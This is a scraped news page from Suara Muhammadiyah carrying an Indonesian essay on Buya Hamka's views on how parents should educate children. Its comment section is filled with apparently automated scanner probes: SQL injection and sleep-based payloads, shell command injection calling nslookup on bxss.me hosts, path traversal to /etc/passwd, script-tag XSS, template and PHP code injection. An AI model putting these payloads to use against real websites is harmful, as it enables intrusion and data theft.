Pola Pendidikan Orang Tua Menurut Konsep Buya Hamka

Publish

10 January 2024

Suara Muhammadiyah

Penulis

0
280
Foto Istimewa

Foto Istimewa

Pola Pendidikan Orang Tua dalam Membimbing Anak-anak Menuju Masa Depan yang Gemilang Menurut Konsep Buya Hamka

Oleh: Muhammad Helmi Nurrohman, Mahasiswa Sejarah Peradaban Islam UIN Sunan Gunung Djati Bandung 

Jalannya kehidupan, mulai dari masa kecil hingga tua, baik kejayaan maupun kegagalan, sangat dipengaruhi oleh proses pembentukan dan pelatihan sejak dini. Zaman yang akan datang, yang mencakup impian individu, masyarakat, dan bangsa, menjadi penentu nasib. Segala harapan, angan-angan, dan cita-cita kita bergantung pada masa depan. Meskipun seorang anak terus diingatkan untuk menyadari arti zaman yang akan datang, pemahamannya mungkin terbatas. Yang seharusnya memahami hal tersebut adalah pendidiknya, yakni orang tua dan guru-gurunya. Orang tua umumnya memiliki dua pendekatan yang berbeda: pertama, mereka yang memberikan batasan dan tekanan agar anak mengikuti kehendak orang tua; kedua, orang tua yang memberikan kebebasan agar anak dapat tumbuh kembang dengan sendirinya. Lalu pendidikan seperti apa yang ideal menurut buya Hamka?

Menurut pendekatan pertama, anak-anak tidak memiliki kebebasan untuk mengikuti dorongan hati mereka. Mereka dianggap seperti milik orang tua mereka, dengan harapan bahwa mereka akan mengikuti jejak dan keinginan orang tua mereka. Misalnya, jika orang tua berprofesi seorang guru, mereka mengharapkan anak mereka juga mengikuti profesi tersebut. Begitu pula jika orang tua berprofesi sebagai militer, mereka berharap anak mereka mengikuti jalur yang sama. Orang tua mungkin tidak selalu menginginkan anak mereka menjadi salinan diri mereka, tetapi mereka berharap anak mereka akan sesuai dengan harapan yang mereka tetapkan. Akibatnya, setiap tindakan, keputusan, dan bahkan pilihan pasangan hidup anak harus sesuai dengan kehendak orang tua. Terkadang, hal ini dapat menjadi sulit bagi anak yang mungkin tidak memiliki pendirian yang jelas. Hal ini menjadi tantangan yang serius bagi nasib anak, dan bisa menghambat pencapaian tujuan hidup mereka yang sebenarnya sudah dimiliki sejak lahir, yaitu bakat.

Kemudian pendekatan kedua, Pendidikan yang membiarkan anak bebas tanpa bimbingan dapat berbahaya, mencelakakan anak itu sendiri. Meskipun setiap individu memiliki bakatnya sendiri, anak-anak belum tentu tahu bakat mereka saat masih kecil. Pendekatan ini bisa membuat anak menjadi manja, pemalas, dan sombong karena selalu mendapatkan apa yang diinginkan tanpa usaha. Mereka cenderung kurang mandiri dan tidak menghormati orang lain. Anak-anak seperti ini sering mendapat perhatian berlebihan, membuat mereka sulit beradaptasi dengan lingkungan. Orang tua yang akhirnya marah dapat menghadapi kesulitan dalam mengubah perilaku anak yang sudah rusak akibat perlakuan berlebihan.

Hamka dalam bukunya Falsafah Hidup (2015). Anak-anak sebaiknya dididik sesuai bakat, kemampuan, dan perkembangan zaman. Penting memberikan kebebasan berpikir kepada anak dan membimbing mereka di dalam kebebasan tersebut. Jangan memaksa anak menerima pelajaran yang tidak sesuai dengan bakatnya, agar tidak menjadi seperti kayu yang layu. Pendidikan yang memimpin dan membuka jalan, memungkinkan anak berkembang dan hidup mandiri. Mendidik anak bukan hanya melalui mulut, tetapi juga melalui contoh dan keteladanan orang tua.

Keluarga, sebagai lembaga pendidikan informal, merupakan lingkungan pertama yang dihadapi oleh manusia. Dalam konteks keluarga, seseorang memperoleh pengetahuan awal mengenai prinsip-prinsip dasar dalam hidup dan tata cara bersosialisasi dalam masyarakat. Pendidikan pertama kali diperoleh dalam lingkungan keluarga. Orang tua memiliki tanggung jawab utama dalam pendidikan, dan tanggung jawab utama dalam sebuah rumah tangga terletak pada bahu ayah dan ibu. Dalam menyiapkan anak menghadapi kehidupan, orang tua perlu memberikan pendidikan agama guna meningkatkan akhlak anak, menjadi modal penting bagi mereka dalam berinteraksi dengan masyarakat. Pendidikan yang diberikan oleh orang tua di lingkungan keluarga memiliki pengaruh yang signifikan terhadap jiwa anak.

Tujuan pendidikan utamanya adalah menciptakan anak-anak yang di masa depan dapat merasakan makna kemerdekaan. Dan dasar pendidikan adalah membentuk manusia merdeka di tanah air yang merdeka, bukan menjadi budak di negara merdeka ini. Oleh karena itu, bagi mereka yang ingin anak-anaknya menjadi individu yang merdeka, sebaiknya dididik dalam suasana sederhana. bersahaja dalam kehidupan sehari-hari diajarkan untuk memudahkan adaptasi dengan lingkungan di sekitarnya kelak. Hal ini bertujuan agar anak tidak merasa kaku dan memberikan beban kepada orang lain.

Karena menurut Hamka dalam bukunya pribadi hebat (2014). Negara dan bangsa yang merdeka dapat menciptakan kemerdekaan pribadi. Orang menerima pembagian pekerjaan dengan rela, tanpa merasa ditekan maupun itu guru, tentara, tukang becak, tukang sayur, kuli bangunan. Dalam berbagai profesi, mereka melaksanakan kewajiban dengan tanggung jawab penuh. Mereka menyadari bahwa setiap pekerjaan memiliki peran penting dalam keseluruhan, menjadikan mereka bagian dari satu bangsa besar yang solid.

 


Komentar

pHqghUme

555

pHqghUme

1C3MSH7EgSO

pHqghUme

ePXtdHTl

pHqghUme

response.write(9613273*9069030)

pHqghUme

'+response.write(9613273*9069030)+'

pHqghUme

555 bcc:009247.14963-257005.14963.09b43.19800.2@bxss.me

pHqghUme

555

pHqghUme

"+response.write(9613273*9069030)+"

pHqghUme

to@example.com> bcc:009247.14963-257006.14963.09b43.19800.2@bxss.me

pHqghUme

echo kurnfw$()\ oqzkdh\nz^xyu||a #' &echo kurnfw$()\ oqzkdh\nz^xyu||a #|" &echo kurnfw$()\ oqzkdh\nz^xyu||a #

pHqghUme

&echo bgursy$()\ uwetcy\nz^xyu||a #' &echo bgursy$()\ uwetcy\nz^xyu||a #|" &echo bgursy$()\ uwetcy\nz^xyu||a #

pHqghUme

${9999797+10000396}

pHqghUme

|echo ouvzlf$()\ shyrlp\nz^xyu||a #' |echo ouvzlf$()\ shyrlp\nz^xyu||a #|" |echo ouvzlf$()\ shyrlp\nz^xyu||a #

pHqghUme

555<esi:include src="http://bxss.me/rpb.png"/>

pHqghUme

../../../../../../../../../../../../../../etc/passwd

pHqghUme

(nslookup hitjitxynpvdi04f0f.bxss.me||perl -e "gethostbyname('hitjitxynpvdi04f0f.bxss.me')")

pHqghUme

555&n972530=v962137

pHqghUme

$(nslookup hitrcrrbjmcsfbc5ce.bxss.me||perl -e "gethostbyname('hitrcrrbjmcsfbc5ce.bxss.me')")

pHqghUme

&(nslookup hitxrhncvzcywb7463.bxss.me||perl -e "gethostbyname('hitxrhncvzcywb7463.bxss.me')")&'\"`0&(nslookup hitxrhncvzcywb7463.bxss.me||perl -e "gethostbyname('hitxrhncvzcywb7463.bxss.me')")&`'

pHqghUme

../../../../../../../../../../../../../../windows/win.ini

pHqghUme

|(nslookup hitysalejybyvddb8a.bxss.me||perl -e "gethostbyname('hitysalejybyvddb8a.bxss.me')")

pHqghUme

555

pHqghUme

`(nslookup hitrtbyyfngwkc1727.bxss.me||perl -e "gethostbyname('hitrtbyyfngwkc1727.bxss.me')")`

pHqghUme

../555

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

pHqghUme

555

pHqghUme

)

pHqghUme

'"()

pHqghUme

'.gethostbyname(lc('hitpd'.'uipizxxh14255.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(75).chr(116).chr(73).'

pHqghUme

1some_inexistent_file_with_long_name.jpg

pHqghUme

!(()&&!|*|*|

pHqghUme

".gethostbyname(lc("hitbk"."xcpzvpmk70545.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(90).chr(98).chr(90)."

pHqghUme

Http://bxss.me/t/fit.txt

pHqghUme

^(#$!@#$)(()))******

pHqghUme

http://bxss.me/t/fit.txt?.jpg

pHqghUme

HttP://bxss.me/t/xss.html?%00

pHqghUme

bxss.me/t/xss.html?%00

pHqghUme

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

pHqghUme

';print(md5(31337));$a='

pHqghUme

/etc/shells

pHqghUme

"+"A".concat(70-3).concat(22*4).concat(103).concat(66).concat(120).concat(82)+(require"socket" Socket.gethostbyname("hitzi"+"fbbuvcsa21d60.bxss.me.")[3].to_s)+"

pHqghUme

pola-pendidikan-orang-tua-menurut-konsep-buya-hamka

pHqghUme

c:/windows/win.ini

pHqghUme

";print(md5(31337));$a="

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

pola-pendidikan-orang-tua-menurut-konsep-buya-hamka

pHqghUme

'+'A'.concat(70-3).concat(22*4).concat(120).concat(76).concat(113).concat(73)+(require'socket' Socket.gethostbyname('hitla'+'wjggpulb47dba.bxss.me.')[3].to_s)+'

pHqghUme

bxss.me

pHqghUme

${@print(md5(31337))}

pHqghUme

pola-pendidikan-orang-tua-menurut-konsep-buya-hamka/.

pHqghUme

/xfs.bxss.me

pHqghUme

${@print(md5(31337))}\

pHqghUme

'.print(md5(31337)).'

pHqghUme

'"

pHqghUme

555'"()&%<acx><ScRiPt >x7rD(9975)</ScRiPt>

pHqghUme

<!--

pHqghUme

'"()&%<acx><ScRiPt >x7rD(9350)</ScRiPt>

pHqghUme

5559338348

pHqghUme

555

pHqghUme

acu3165<s1﹥s2ʺs3ʹuca3165

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

acu5765<s1﹥s2ʺs3ʹuca5765

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

5559528"();}]9057

pHqghUme

%35%35%35%39%39%32%37%22%28%29%3B%7D%5D%39%32%33%31

pHqghUme

555</script><script>x7rD(9587)</script>

pHqghUme

555

pHqghUme

555

pHqghUme

ruNvd5vR

pHqghUme

-1 OR 2+274-274-1=0+0+0+1 --

pHqghUme

-1 OR 2+954-954-1=0+0+0+1

pHqghUme

-1' OR 2+58-58-1=0+0+0+1 --

pHqghUme

-1' OR 2+57-57-1=0+0+0+1 or 'VmSifVpw'='

pHqghUme

-1" OR 2+563-563-1=0+0+0+1 --

pHqghUme

if(now()=sysdate(),sleep(15),0)

pHqghUme

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme

-1; waitfor delay '0:0:15' --

pHqghUme

-1); waitfor delay '0:0:15' --

pHqghUme

1 waitfor delay '0:0:15' --

pHqghUme

GnNdMvcI'; waitfor delay '0:0:15' --

pHqghUme

-5 OR 784=(SELECT 784 FROM PG_SLEEP(15))--

pHqghUme

-5) OR 835=(SELECT 835 FROM PG_SLEEP(15))--

pHqghUme

-1)) OR 637=(SELECT 637 FROM PG_SLEEP(15))--

pHqghUme

lGKPbKIu' OR 546=(SELECT 546 FROM PG_SLEEP(15))--

pHqghUme

wOOvQUEc') OR 199=(SELECT 199 FROM PG_SLEEP(15))--

pHqghUme

Uw4Ke8rF')) OR 66=(SELECT 66 FROM PG_SLEEP(15))--

pHqghUme

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme

1'"

pHqghUme

@@B6SOj

pHqghUme

555

Berita Lainnya

Berita Terkait

Tentang Politik, Pemerintahan, Partai, Dll

Wawasan

Banten, Muhammadiyah, dan Rakyat Miskin Oleh: Saidun Derani Data Badan Pusat Statistik (BPS) tahun....

Suara Muhammadiyah

17 November 2023

Wawasan

Mempromosikan Budaya Hijau, Inovasi, dan Kerjasama Oleh: Agus setiyono Dalam era ketidakpastian pe....

Suara Muhammadiyah

13 November 2023

Wawasan

Iktikaf, Masa Lalu dan Masa Kini Oleh: Al-Faiz MR Tarman, Dosen Universitas Muhammadiyah Klaten Ap....

Suara Muhammadiyah

5 April 2024

Wawasan

Bekal Menyambut Ramadhan Oleh: Mohammad Fakhrudin Berdasarkan Maklumat Pimpinan Pusat Muhammad....

Suara Muhammadiyah

9 March 2024

Wawasan

Muhammadiyah dan Politik; Sebuah Ketuntasan Sejarah! Oleh: Adrian Al-Fatih Membicarakan politik di....

Suara Muhammadiyah

23 November 2023

Tentang

© Copyright . Suara Muhammadiyah